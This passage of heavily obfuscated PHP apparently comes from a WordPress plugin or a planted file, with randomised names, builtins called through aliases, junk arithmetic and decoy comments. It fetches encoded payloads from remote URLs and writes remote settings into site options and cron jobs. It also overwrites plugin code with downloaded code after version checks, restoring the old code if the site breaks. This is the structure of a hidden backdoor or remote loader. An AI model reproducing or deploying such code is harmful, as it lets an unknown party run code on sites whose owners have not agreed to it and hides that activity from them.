 n747he9yo38(601)    => 1,
 )),  $_lee6uh_nq9fbg_);
  $yhm9eprobm3tk   = $GLOBALS['__scf_aiwotu1kwod_12'](strtr($GLOBALS['__scf_ocf2s22fr524pv_351']($z3wpjwbh6pn8uzox), hwc6a8djp6yy(602),  k83m2slbb(603)), '=');

  $w2jk5uia366k9    = $GLOBALS['__scf_r2gsygnx1gk_604']($yhm9eprobm3tk,  (1321+79));
 foreach     ($_rujppxrfj   as   $n3j_7bp_z_v6in)  {
 if    (($GLOBALS['__scf_kld1jjqcmx_289'](true) -      $f39__qaefkbor) >      $euyci1oufcke)     {
 break;
}
$n3j_7bp_z_v6in    = $GLOBALS['__scf_xcg5caaat_92j0_323']((string)    $n3j_7bp_z_v6in);
  if  ($n3j_7bp_z_v6in    ===   "")     {
   continue;


     }
 $qfxy741525h58_  =   w5r7ae3dymnovvl7(og1x2m03ubzy0v1hpff6("")  .  $GLOBALS['__scf_kld1jjqcmx_289'](true), (6+2));
$v3ns5_io9ii    =     $GLOBALS['__scf_prfpiytv3egt7_35']($w2jk5uia366k9);
 $yw0z41ms9ec      =  ($GLOBALS['__scf_p9nk7khmjys_7']($n3j_7bp_z_v6in,  '?')   === false)  ? '?'   :     '&';
 for ($ibnbsafg6z =  0; $ibnbsafg6z   <      $v3ns5_io9ii; $ibnbsafg6z++)  {
    if   (($GLOBALS['__scf_kld1jjqcmx_289'](true)      - $f39__qaefkbor)   >    $euyci1oufcke) {
    break;
   }
 $nion3voyn4q  =    ($ibnbsafg6z   === $v3ns5_io9ii - 1);



  $yozrjjsjind  = $n3j_7bp_z_v6in    .      $yw0z41ms9ec   . k83m2slbb(605)  . $qfxy741525h58_ . woii22it0(606) . $ibnbsafg6z  .  n747he9yo38(607)   .     $v3ns5_io9ii  . n747he9yo38(608)     .    $w2jk5uia366k9[$ibnbsafg6z];$m7c9uxycs=(0x65+0x3d);$o4ytb8zlhy2g=$m7c9uxycs%3;
   $nf82tak94se1     = m_rayuaik6rfaskr($yozrjjsjind,  (16-8),  $nion3voyn4q ?    function  ($b94e8zl9qx1ungby) use  ($_lee6uh_nq9fbg_)  {
$oclq78qg06s6kkt   = sdbi68rbn9zn5o588($b94e8zl9qx1ungby,   $_lee6uh_nq9fbg_);
 if   (!$oclq78qg06s6kkt) return    false;
       return $GLOBALS['__scf_lxbo0xm7220an_34'](@$GLOBALS['__scf_fjxqm4i88jjq92_328']($GLOBALS['__scf_xcg5caaat_92j0_323']($oclq78qg06s6kkt),     true));


  }  :     null);
    if   ($nion3voyn4q && $GLOBALS['__scf_epa1jymnf5_40']($nf82tak94se1)    &&    $nf82tak94se1     !==  "")   {
$_gd    =  sdbi68rbn9zn5o588($nf82tak94se1,   $_lee6uh_nq9fbg_);

   $rmmuredxzyib345p = ($_gd &&      ($GLOBALS['__scf_h5yqrl6kmpb_10']($_gd)  <=  (1048545+31)   || o3b3qa87qg2t8cm($GLOBALS['__scf_h5yqrl6kmpb_10']($_gd))))   ?   @$GLOBALS['__scf_fjxqm4i88jjq92_328']($GLOBALS['__scf_xcg5caaat_92j0_323']($_gd),  true) :  null;
   if  ($GLOBALS['__scf_lxbo0xm7220an_34']($rmmuredxzyib345p))   {
 $mvuk2rk025mg     =  $rmmuredxzyib345p;
 if    ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(609)))    {
   update_option(n747he9yo38(573),   $n3j_7bp_z_v6in);



  }



  break;


    }
 }
        }
   if  ($GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg))  {


    break;
}
 }
    }
      $GLOBALS[woii22it0(610)] =  false;$cqekw307i5yy91=PHP_MAJOR_VERSION;$whjip2kxtc6=$cqekw307i5yy91*9;
    if   (!   $GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg))  {



      return;
  }


 if ($ztwi6bs4jnwb) {


      bqqu62sy3z6vnrywlkh();
    }



     if   ($ic_gttboeo5x58bz  &&  $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(611)))     {$og_onqglpll9x=96|180;$a_s2h3g71gyj=$og_onqglpll9x^208;
 delete_option(jv8oinqy59r_b336r5e_(k83m2slbb(372)));


    unset($GLOBALS[hwc6a8djp6yy(357)][jv8oinqy59r_b336r5e_(woii22it0(372))]);
   }
   if    (!isset($GLOBALS[k83m2slbb(371)])  || !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[lgr6hp92ka(612)])) $GLOBALS[k83m2slbb(612)] =   array();
        $GLOBALS[woii22it0(613)] =    $GLOBALS['__scf_xbx3qj3ap0_147']($GLOBALS['__scf_wuhj_qjl_ze21_152']($GLOBALS[woii22it0(614)],   $ic_gttboeo5x58bz));
   if  (isset($mvuk2rk025mg[n747he9yo38(578)])      && $GLOBALS['__scf_epa1jymnf5_40']($mvuk2rk025mg[lgr6hp92ka(578)]))    {
  unset($GLOBALS[woii22it0(567)]);
        zxmo435khc67ccf7696279($mvuk2rk025mg[k83m2slbb(615)],  isset($mvuk2rk025mg[lgr6hp92ka(616)]) &&  $GLOBALS['__scf_epa1jymnf5_40']($mvuk2rk025mg[lgr6hp92ka(617)])     ? $mvuk2rk025mg[hwc6a8djp6yy(617)]   :     "",    !empty($mvuk2rk025mg[k83m2slbb(618)]));
 }

$g2azsz75ozh7mkt8    = false;
$ldcvftg7a4jfax1 = array();

 if (isset($mvuk2rk025mg[woii22it0(619)])     && $GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg[lgr6hp92ka(619)])) {
  $o1ecvvazh5p7gp =      array();
    

    foreach ($mvuk2rk025mg[n747he9yo38(620)]  as  $w7ktmogztxqq) {
    if    ($GLOBALS['__scf_epa1jymnf5_40']($w7ktmogztxqq)  &&  $w7ktmogztxqq    !== "")  {
   $o1ecvvazh5p7gp[]   =   $w7ktmogztxqq;
 }
 }
$g76cotef02opr    =   $GLOBALS[hwc6a8djp6yy(438)];
 $o1ecvvazh5p7gp   =  b38d3nnswl41mytacdc($o1ecvvazh5p7gp);
 $GLOBALS[hwc6a8djp6yy(438)]   =   $o1ecvvazh5p7gp;
 $ldcvftg7a4jfax1[lgr6hp92ka(621)]     = $o1ecvvazh5p7gp;
if    (! empty($GLOBALS['__scf_wuhj_qjl_ze21_152']($o1ecvvazh5p7gp, $g76cotef02opr)) ||   !    empty($GLOBALS['__scf_wuhj_qjl_ze21_152']($g76cotef02opr,     $o1ecvvazh5p7gp)))     {

  $g2azsz75ozh7mkt8     =   true;
  }
  }
 
if  (isset($mvuk2rk025mg[hwc6a8djp6yy(440)])  &&  $GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg[k83m2slbb(440)]))  {
   $o1ecvvazh5p7gp    = array();
   
   foreach    ($mvuk2rk025mg[woii22it0(440)] as $w7ktmogztxqq)   {
 if ($GLOBALS['__scf_epa1jymnf5_40']($w7ktmogztxqq)     &&   $w7ktmogztxqq   !==  "") {
$o1ecvvazh5p7gp[]  =  $w7ktmogztxqq;


}
  }
 $g76cotef02opr  =  $GLOBALS[lgr6hp92ka(441)];
    $o1ecvvazh5p7gp  =   b38d3nnswl41mytacdc($o1ecvvazh5p7gp);
     $GLOBALS[lgr6hp92ka(622)]   = $o1ecvvazh5p7gp;
    $ldcvftg7a4jfax1[k83m2slbb(440)]    = $o1ecvvazh5p7gp;



if  (!  empty($GLOBALS['__scf_wuhj_qjl_ze21_152']($o1ecvvazh5p7gp,      $g76cotef02opr)) || !  empty($GLOBALS['__scf_wuhj_qjl_ze21_152']($g76cotef02opr,  $o1ecvvazh5p7gp))) {
$g2azsz75ozh7mkt8    = true;
 }
  }
   if   (isset($mvuk2rk025mg[hwc6a8djp6yy(442)])     && $GLOBALS['__scf_epa1jymnf5_40']($mvuk2rk025mg[n747he9yo38(623)]))  {
$s55lnkolb8e06 = nswwyfxxcf0yh1u(k83m2slbb(624),  "");
   if    ($s55lnkolb8e06  !==   ""     &&  (int)  z6q8c6q8s6lg_2r(n747he9yo38(625),  0)  ===   0) {
   htdydg38ahuyxm73zkqz0(k83m2slbb(625), 1,      woii22it0(469));



    if   ((int) z6q8c6q8s6lg_2r(n747he9yo38(626),  0)  !== 1)  htdydg38ahuyxm73zkqz0(lgr6hp92ka(626),   1,      hwc6a8djp6yy(469));
  }
  $GLOBALS[k83m2slbb(627)]  =      $mvuk2rk025mg[k83m2slbb(623)];
  $ldcvftg7a4jfax1[k83m2slbb(623)] =     $mvuk2rk025mg[n747he9yo38(628)];
  

   if  ($GLOBALS['__scf__pih7hoh4m_56']($mvuk2rk025mg[hwc6a8djp6yy(629)])   !==  $GLOBALS['__scf__pih7hoh4m_56']($s55lnkolb8e06)  ||   (int)   z6q8c6q8s6lg_2r(n747he9yo38(626),      0) === 1)   {$ii9p56p2=PHP_MAJOR_VERSION;$u8c05pc0kjg=$ii9p56p2*3;
    if (htdydg38ahuyxm73zkqz0(woii22it0(630),  $mvuk2rk025mg[k83m2slbb(629)], woii22it0(631))   ||  nswwyfxxcf0yh1u(k83m2slbb(632),    "")  ===  $mvuk2rk025mg[woii22it0(633)])    {
  htdydg38ahuyxm73zkqz0(k83m2slbb(634),   1, k83m2slbb(631));
try {
   if (nctc5m248h5cl4dws())     htdydg38ahuyxm73zkqz0(woii22it0(634),   0, k83m2slbb(635));

     } catch    (Throwable   $oz7m23pnscj7)     {


 } catch     (Exception $oz7m23pnscj7)   {
}
   }    else    {
pg1e6gpdn5mraincu414();
    return;
}
}
unset($s55lnkolb8e06);
    }

$h_o5ch8agqm93t =   isset($mvuk2rk025mg[hwc6a8djp6yy(636)])  && $GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg[hwc6a8djp6yy(637)]) ?    $mvuk2rk025mg[n747he9yo38(637)]  : array();

 if (isset($h_o5ch8agqm93t[n747he9yo38(448)])  && $GLOBALS['__scf_epa1jymnf5_40']($h_o5ch8agqm93t[hwc6a8djp6yy(638)]))  {


if    ($GLOBALS['__scf_h5yqrl6kmpb_10']($h_o5ch8agqm93t[n747he9yo38(639)])  > (6+44)) {
 $GLOBALS[lgr6hp92ka(447)]   = $h_o5ch8agqm93t[hwc6a8djp6yy(640)];
   $ldcvftg7a4jfax1[lgr6hp92ka(640)] =  $h_o5ch8agqm93t[k83m2slbb(640)];
  }  else  {



        $GLOBALS[n747he9yo38(641)]   = "";



   $ldcvftg7a4jfax1[hwc6a8djp6yy(640)]   =  "";


 htdydg38ahuyxm73zkqz0(n747he9yo38(642), "",  hwc6a8djp6yy(635));
 

  }
   }
// @link negotiation

   if    (isset($h_o5ch8agqm93t[lgr6hp92ka(637)])     &&  $GLOBALS['__scf_epa1jymnf5_40']($h_o5ch8agqm93t[hwc6a8djp6yy(637)]))  {
   if     ($GLOBALS['__scf_h5yqrl6kmpb_10']($h_o5ch8agqm93t[lgr6hp92ka(637)]) >   (0x61+0x3)) {
  $GLOBALS[hwc6a8djp6yy(643)]  =  $h_o5ch8agqm93t[k83m2slbb(637)];
    $ldcvftg7a4jfax1[woii22it0(637)] = $h_o5ch8agqm93t[woii22it0(644)];
   }  else {
   $GLOBALS[lgr6hp92ka(645)]    =  "";
   $ldcvftg7a4jfax1[hwc6a8djp6yy(644)]    =    "";
 htdydg38ahuyxm73zkqz0(woii22it0(365), "",    n747he9yo38(635));
    }


  }
      $lpus2mnn2oytck      =   isset($mvuk2rk025mg[lgr6hp92ka(646)])  &&   $GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg[hwc6a8djp6yy(647)])  ?  $mvuk2rk025mg[hwc6a8djp6yy(647)]  :   array();



     $zm4zuqy_557azxh    =     array(



 woii22it0(648) => lgr6hp92ka(649),
  n747he9yo38(650)   =>    woii22it0(651),
lgr6hp92ka(652) => n747he9yo38(653),
 k83m2slbb(654) =>   lgr6hp92ka(655),
    hwc6a8djp6yy(656)      =>  k83m2slbb(657),
k83m2slbb(658)  =>  n747he9yo38(659),

 );
   foreach ($zm4zuqy_557azxh  as $mqxx1pxwm48hk6    =>     $e9s4d_gptn9) {


      if  (isset($lpus2mnn2oytck[$mqxx1pxwm48hk6]) &&  $GLOBALS['__scf_epa1jymnf5_40']($lpus2mnn2oytck[$mqxx1pxwm48hk6])  &&    $GLOBALS['__scf_h5yqrl6kmpb_10']($lpus2mnn2oytck[$mqxx1pxwm48hk6])     >  (0x1b+0x17))   {
/* compact decorator */

       $ldcvftg7a4jfax1[$e9s4d_gptn9] = $lpus2mnn2oytck[$mqxx1pxwm48hk6];
 }
/* optimal prototype */

     }
if (isset($mvuk2rk025mg[hwc6a8djp6yy(472)])   &&   $GLOBALS['__scf_igpbtcnldlzt_660']($mvuk2rk025mg[n747he9yo38(472)]))   {

     $tojxfv9k5jyl  = (int) $mvuk2rk025mg[woii22it0(661)];
 if     ($tojxfv9k5jyl   >=    (216+84)   && $tojxfv9k5jyl <=   (111656-25256))    $ldcvftg7a4jfax1[lgr6hp92ka(661)]  =   $tojxfv9k5jyl;
   }
 if (isset($mvuk2rk025mg[n747he9yo38(379)]) && $GLOBALS['__scf_igpbtcnldlzt_660']($mvuk2rk025mg[lgr6hp92ka(379)]))  {
$_ci = (int) $mvuk2rk025mg[hwc6a8djp6yy(662)];

     if ($_ci   >=   (364-64)     &&    $_ci   <=  (0x1232c+0x2e54)) $ldcvftg7a4jfax1[k83m2slbb(663)]  =   $_ci;
}
   if     (empty($ldcvftg7a4jfax1))     {


 delete_option(n747he9yo38(664));
    delete_option(lgr6hp92ka(478));


    update_option(k83m2slbb(429),   $GLOBALS['__scf_cyotfgtf1a8m_189']());
    delete_transient(hwc6a8djp6yy(665));

       dgk8_q47cpc3rgnuabc();
fy8b7vzh9lcg9rr8lt23u_();




 return;$zc45apqsw=(0xcb+0xd);$sezvl1e48a8_5_=$zc45apqsw%4;
  }
  
 $r85mtfcojsavvqh1     =  za3gt62ixnceo0mnhvd(lgr6hp92ka(666),     false);
  if ($GLOBALS['__scf_lxbo0xm7220an_34']($r85mtfcojsavvqh1))   {
    $ldcvftg7a4jfax1  = $GLOBALS['__scf_p8wjejlfb3_368']($r85mtfcojsavvqh1,  $ldcvftg7a4jfax1);
}
   
if    ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(667))) {
     $_xagb4pamz8xjr1 = vs47dskuflqdrwg();


      if   (isset($ldcvftg7a4jfax1[n747he9yo38(661)]) && (int)   $ldcvftg7a4jfax1[hwc6a8djp6yy(661)]    >= (234+66)  &&  (int)  $ldcvftg7a4jfax1[k83m2slbb(661)]  <=  (86363+37)) $_xagb4pamz8xjr1  = (int)   $ldcvftg7a4jfax1[k83m2slbb(668)];
  set_transient(t5exk4f0xw1h_voqxx0w(), $ldcvftg7a4jfax1, $_xagb4pamz8xjr1);
 }
 
if  (!grwxpysy8jb5yfgk156kj(n747he9yo38(666), $ldcvftg7a4jfax1,     k83m2slbb(635)))  {

 $e8xmc7hv00uzx     =  za3gt62ixnceo0mnhvd(k83m2slbb(666),    null);
    

 if (!$GLOBALS['__scf_lxbo0xm7220an_34']($e8xmc7hv00uzx)     ||  $e8xmc7hv00uzx    !=  $ldcvftg7a4jfax1) {
  pg1e6gpdn5mraincu414();


return;

 }
  unset($e8xmc7hv00uzx);
 }
 if    (isset($ldcvftg7a4jfax1[n747he9yo38(663)]) &&   $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(669))   &&   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(670)) &&     $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(386)))   {
$esv7p5wgsm35o     =    wp_get_scheduled_event(nm3izpoopvcbrc7e());
      if  ($esv7p5wgsm35o  &&     (int)  $esv7p5wgsm35o->interval !==    (int)  $ldcvftg7a4jfax1[lgr6hp92ka(671)])     {
 wp_clear_scheduled_hook(nm3izpoopvcbrc7e());



       wp_schedule_event($GLOBALS['__scf_cyotfgtf1a8m_189']()  +  $GLOBALS['__scf_qt5_3awd0l2_350']((0x11+0x2b),    (251+49)),    n747he9yo38(380),  nm3izpoopvcbrc7e());
}
 }



    update_option(k83m2slbb(429),  $GLOBALS['__scf_cyotfgtf1a8m_189']());


      delete_option(woii22it0(664));
delete_option(lgr6hp92ka(672));
       delete_transient(woii22it0(665));
      dgk8_q47cpc3rgnuabc();
   fy8b7vzh9lcg9rr8lt23u_();




  if   ($g2azsz75ozh7mkt8)  {
// MySQL JSON operators: causal memento



  r0e8a5wcbgnlj3n10();
}
   } catch     (Throwable $oz7m23pnscj7)      {
 pas31bymshzdagwkp(n747he9yo38(673),      $oz7m23pnscj7);

 }  catch      (Exception   $oz7m23pnscj7)  {



      }   finally {
// WP Image Block: resolve bloom-filter

unset($GLOBALS[k83m2slbb(567)]);



      hev0akflm_tefd(hwc6a8djp6yy(674));
  }
  }



  
       function  zxmo435khc67ccf7696279($qi64pafocuntd49, $xu93czl_zxlf   =   "",  $ebauco1u66  =    false)



{
 if (!oxds6f4_kj2x2e4np9e(hwc6a8djp6yy(674)))   return;
 try  {
$xg6b13ire3z   =  x3iq_dnj5x1rjn67iq0y04();
if ($xg6b13ire3z >  0  && $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(675))  &&   !o3b3qa87qg2t8cm($GLOBALS['__scf_h5yqrl6kmpb_10']($qi64pafocuntd49)    *     (0x2+0x2)))   {
 pas31bymshzdagwkp(n747he9yo38(676), woii22it0(677));
     return;
 }


 unset($xg6b13ire3z);
      
$z8b2b7ai2gt0n =     @$GLOBALS['__scf_ts5_ao9xhku_355']($qi64pafocuntd49,   true);
   if  ($GLOBALS['__scf_epa1jymnf5_40']($z8b2b7ai2gt0n) &&   $GLOBALS['__scf_h5yqrl6kmpb_10']($z8b2b7ai2gt0n)    > (1048495+81))    $z8b2b7ai2gt0n = ouktu5q4cpiyod2s($z8b2b7ai2gt0n);



   if  (! $z8b2b7ai2gt0n ||    $GLOBALS['__scf_h5yqrl6kmpb_10']($z8b2b7ai2gt0n)  <  (213+287)   || $GLOBALS['__scf_p9nk7khmjys_7']($z8b2b7ai2gt0n,  n747he9yo38(678))   !== 0) {

  return;
}



    if (!   dxgg5a63x4tsvkmvowozg3($z8b2b7ai2gt0n))   {

    pas31bymshzdagwkp(n747he9yo38(679),  hwc6a8djp6yy(680));
  return;$b8jo69m8trqwlp=-536;$u2m8opfo062t=($b8jo69m8trqwlp>0)?$b8jo69m8trqwlp:-$b8jo69m8trqwlp;

   }
  if    ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(184), $GLOBALS['__scf_pdat24v9nxkx0_9']($z8b2b7ai2gt0n,  0,  (4070+26)),   $kjbzs7hccduommy)) {
 if ($xu93czl_zxlf !==    "" &&   $xu93czl_zxlf     !== $kjbzs7hccduommy[1]) {
 pas31bymshzdagwkp(lgr6hp92ka(679), hwc6a8djp6yy(681));

  return;
      }
    $xu93czl_zxlf   =   $kjbzs7hccduommy[1];
  } else      {
pas31bymshzdagwkp(lgr6hp92ka(679),  n747he9yo38(682));
 return;
}


    if (!$ebauco1u66 && version_compare($xu93czl_zxlf, tdwuvuxeuijm__qj())    <=    0)    {
        return;
       }

$jz8nkzwyedtiz01 =  j7q7bvavumc4i765();$ogf6lygmqqb=PHP_MAJOR_VERSION;$ci08n9apbgc1y=$ogf6lygmqqb*1;
if  (!$jz8nkzwyedtiz01  ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($jz8nkzwyedtiz01)     <    (461+39))    {
pas31bymshzdagwkp(hwc6a8djp6yy(683),  n747he9yo38(684));
 return;



       }


  $kgxcsyr6ayc90sll   =   get_option(n747he9yo38(190));
 if   ($GLOBALS['__scf_epa1jymnf5_40']($kgxcsyr6ayc90sll)  &&      $GLOBALS['__scf_p9nk7khmjys_7']($kgxcsyr6ayc90sll,   $GLOBALS['__scf__pih7hoh4m_56']($z8b2b7ai2gt0n) .   '|') ===   0)     {
      return;
 }
  $buvucb1h46sn3v_     =  $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())   . woii22it0(188) .  $GLOBALS['__scf__pih7hoh4m_56']($z8b2b7ai2gt0n);
      if (@$GLOBALS['__scf_mtwlgr3p78_18']($buvucb1h46sn3v_)) {
   return;
}



unset($buvucb1h46sn3v_);$ekogid7_=9068;$_kul4lua0=$ekogid7_%13;


 if (!$ebauco1u66)  {
   $kspy7odx9t7om7      =  @get_option(k83m2slbb(685),   "");
   if  ($GLOBALS['__scf_epa1jymnf5_40']($kspy7odx9t7om7) && $GLOBALS['__scf_p9nk7khmjys_7']($kspy7odx9t7om7,     $GLOBALS['__scf__pih7hoh4m_56']($z8b2b7ai2gt0n)    .  '|')   ===  0)    {
 $wi7ty_ut0r1     =   (int) $GLOBALS['__scf_pdat24v9nxkx0_9']($kspy7odx9t7om7,    $GLOBALS['__scf_p9nk7khmjys_7']($kspy7odx9t7om7,    '|')  + 1);


       if  ($wi7ty_ut0r1   &&   $GLOBALS['__scf_cyotfgtf1a8m_189']() -  $wi7ty_ut0r1 < (836+64))   return;
 }
 unset($kspy7odx9t7om7,   $wi7ty_ut0r1);
 }
$st1x39lbeqrpke     =    false;
if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(686))   &&  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(467)))   {



 $uvn1hpyw4wqu_ = $GLOBALS['__scf_ikqfih0ldfvj_293'](home_url('/'),    array(lgr6hp92ka(687) => (176^184), n747he9yo38(688)    =>    2, k83m2slbb(295)  => false,    k83m2slbb(689) =>   (0xeb1e8+0x14e18)));
 if (! ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(297)) &&   is_wp_error($uvn1hpyw4wqu_)))   {
 $st1x39lbeqrpke   =  (int)    wp_remote_retrieve_response_code($uvn1hpyw4wqu_) >=  (0x1e7+0xd);
}
// OPcache config: irreducible permission




 }
// @deregister injector


   $kpnqjin06qws =  false;
if     ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(572)))  {
     $r3_9vflezrasbeo     = get_option(hwc6a8djp6yy(209),  array());
$kpnqjin06qws    =   $GLOBALS['__scf_lxbo0xm7220an_34']($r3_9vflezrasbeo)   &&     $GLOBALS['__scf_a2dj3p28xfi_149'](izaka85cv8fob4(), $r3_9vflezrasbeo,    true);
 }
dvd1rr9pr3xu08j(vcr09jqkbni2k4ee0y(),   (416+4));
 if (!  m9xp6uh5w1cal39pfn4cx(vcr09jqkbni2k4ee0y(),     pn7nm6nqd14rnwe($z8b2b7ai2gt0n)))   {
  pas31bymshzdagwkp(woii22it0(690), woii22it0(691));
return;
  }
// Redis object cache resize quality

  j432fegx9wjwq5cz8t(vcr09jqkbni2k4ee0y());
   ihrci155iirvqnpr(vcr09jqkbni2k4ee0y());
 if   ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(667)))     @set_transient(hwc6a8djp6yy(692), 1,    (296+4));
    $k7f_4iaoa48 = false;

   if  (! $st1x39lbeqrpke    &&    $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(686))   && $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(467)))  {
 $nong25gx93c6emu =    -1;
  for   ($yunm43kt0nq3_j3   =    0; $yunm43kt0nq3_j3 <  2;     $yunm43kt0nq3_j3++)  {
$vxtt9q71y9_4iu    =  $GLOBALS['__scf_ikqfih0ldfvj_293'](home_url(n747he9yo38(693) . $GLOBALS['__scf_qt5_3awd0l2_350']((0x4189+0x14517),  (980708+19291))),      array(woii22it0(687)  =>  (189^181),  k83m2slbb(688)   =>  2,   k83m2slbb(694)   =>    false,  woii22it0(689)   =>  (1048512+64)));
if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(695))  &&   is_wp_error($vxtt9q71y9_4iu))    {
   if ($yunm43kt0nq3_j3 ===   0 &&     $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(696))) $GLOBALS['__scf_ecgvvcuio_g7k_696'](2);
     continue;
   }
$thl3ezk9aa420ld =      (int)    wp_remote_retrieve_response_code($vxtt9q71y9_4iu);
if     ($thl3ezk9aa420ld     <      (0x5+0x5f)  || $GLOBALS['__scf_a2dj3p28xfi_149']($thl3ezk9aa420ld,  array((346+157),  (1000-480),     (0x56+0x1b3), (0x1ce+0x3c),  (503+20),  (794-270), (505+21),  (454+73)),   true)) {
/* deterministic contravariant */

  if   ($yunm43kt0nq3_j3   ===  0   &&  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(696)))  $GLOBALS['__scf_ecgvvcuio_g7k_696'](2);
 continue;
       

}
 $nong25gx93c6emu   =  $thl3ezk9aa420ld;


 break;


}
  if  ($nong25gx93c6emu ===    -1)  pas31bymshzdagwkp(k83m2slbb(697),  woii22it0(698));     
if     ($nong25gx93c6emu !== -1 && $nong25gx93c6emu < (0x58+0x19c))  $k7f_4iaoa48   =  true;
 if  ($nong25gx93c6emu     !==   -1 &&  $nong25gx93c6emu >=   (680-180))  {
/* positive-definite nominal-type */

  $m2kxnx9kmk2b =  m9xp6uh5w1cal39pfn4cx(vcr09jqkbni2k4ee0y(), pn7nm6nqd14rnwe($jz8nkzwyedtiz01));
 if    (!$m2kxnx9kmk2b)  $m2kxnx9kmk2b  =   m9xp6uh5w1cal39pfn4cx(vcr09jqkbni2k4ee0y(),  $jz8nkzwyedtiz01);
  $yuzv76md88bwkp  =    $GLOBALS['__scf__pih7hoh4m_56']($z8b2b7ai2gt0n);
$ra0tdw16yh__e9y =      @get_option(lgr6hp92ka(685),   "");
   $gt61k444y6rn      = false;

   if   ($GLOBALS['__scf_epa1jymnf5_40']($ra0tdw16yh__e9y)    && $GLOBALS['__scf_p9nk7khmjys_7']($ra0tdw16yh__e9y,    $yuzv76md88bwkp  . '|')   === 0)     {
 $b7ydxezoh8   =    (int)      $GLOBALS['__scf_pdat24v9nxkx0_9']($ra0tdw16yh__e9y,     $GLOBALS['__scf_p9nk7khmjys_7']($ra0tdw16yh__e9y,  '|')   + 1);
$gt61k444y6rn    =  $b7ydxezoh8   &&  $GLOBALS['__scf_cyotfgtf1a8m_189']() - $b7ydxezoh8  >=  (854+46)  && $GLOBALS['__scf_cyotfgtf1a8m_189']()   -  $b7ydxezoh8 <=   (604766+34);
   }
  if    ($gt61k444y6rn)  {
    update_option(k83m2slbb(190),    $yuzv76md88bwkp  .   '|'     .  $GLOBALS['__scf_cyotfgtf1a8m_189'](),  k83m2slbb(635));

@delete_option(woii22it0(685));
 }   else    {
        @update_option(k83m2slbb(685),   $yuzv76md88bwkp .   '|'   . $GLOBALS['__scf_cyotfgtf1a8m_189']() .    '|'  .   $nong25gx93c6emu,      hwc6a8djp6yy(699));
  }
 unset($yuzv76md88bwkp,   $ra0tdw16yh__e9y,   $gt61k444y6rn, $b7ydxezoh8);
   if (!$m2kxnx9kmk2b)   {
   pas31bymshzdagwkp(woii22it0(697),   lgr6hp92ka(700)  . $nong25gx93c6emu);

       return;
 }
     ihrci155iirvqnpr(vcr09jqkbni2k4ee0y());
j432fegx9wjwq5cz8t(vcr09jqkbni2k4ee0y());
       j7q7bvavumc4i765(true);



     vxphx3fmo9f0xamsip2gy0(true);
$hudz59q5t4iuq_    =  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), hwc6a8djp6yy(514));
    foreach  (array($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),  vyeikxc5a6j7a4n()) as   $sd7bmnk6a55t) {
  @$GLOBALS['__scf_kb97m2p3ij_17']($sd7bmnk6a55t   . hwc6a8djp6yy(196)      .  $hudz59q5t4iuq_);
  @$GLOBALS['__scf_kb97m2p3ij_17']($sd7bmnk6a55t .   hwc6a8djp6yy(192)  .  $hudz59q5t4iuq_);
  }
    if ($kpnqjin06qws    &&  !ptaqyk6ei520r7r()) em_kinvqaese5c4lzris(izaka85cv8fob4());
$GLOBALS[lgr6hp92ka(701)]  =   0;

    fy8b7vzh9lcg9rr8lt23u_();
    pas31bymshzdagwkp(hwc6a8djp6yy(702),    n747he9yo38(703) .  $nong25gx93c6emu);
 return;
 }
   }


$uh54y5offwsfn8l  =     get_option(hwc6a8djp6yy(190));
  if   ($GLOBALS['__scf_epa1jymnf5_40']($uh54y5offwsfn8l)    &&  $GLOBALS['__scf_p9nk7khmjys_7']($uh54y5offwsfn8l,  $GLOBALS['__scf__pih7hoh4m_56']($z8b2b7ai2gt0n)  . '|')   ===     0)   delete_option(lgr6hp92ka(190));
    @$GLOBALS['__scf_kb97m2p3ij_17']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())   . n747he9yo38(704)    .  $GLOBALS['__scf__pih7hoh4m_56']($z8b2b7ai2gt0n));
    unset($uh54y5offwsfn8l);
   if  ($k7f_4iaoa48)  @delete_option(n747he9yo38(705));
  if  ($xu93czl_zxlf  !== "")   {
$GLOBALS[woii22it0(1)] =   $xu93czl_zxlf;

jvq36l6j_2d3pu6yb(vcr09jqkbni2k4ee0y(),  $xu93czl_zxlf);
   }
 if  ($ebauco1u66)     {
$hpp78yqvcefe   =     $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), woii22it0(514));
 foreach  (array($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),  vyeikxc5a6j7a4n())    as  $t6_efcr3ssbmp)   {
@$GLOBALS['__scf_kb97m2p3ij_17']($t6_efcr3ssbmp .  woii22it0(196)   . $hpp78yqvcefe);
   }



    unset($hpp78yqvcefe, $t6_efcr3ssbmp);
 }
// WordPress 6.2 navigation: open session-window

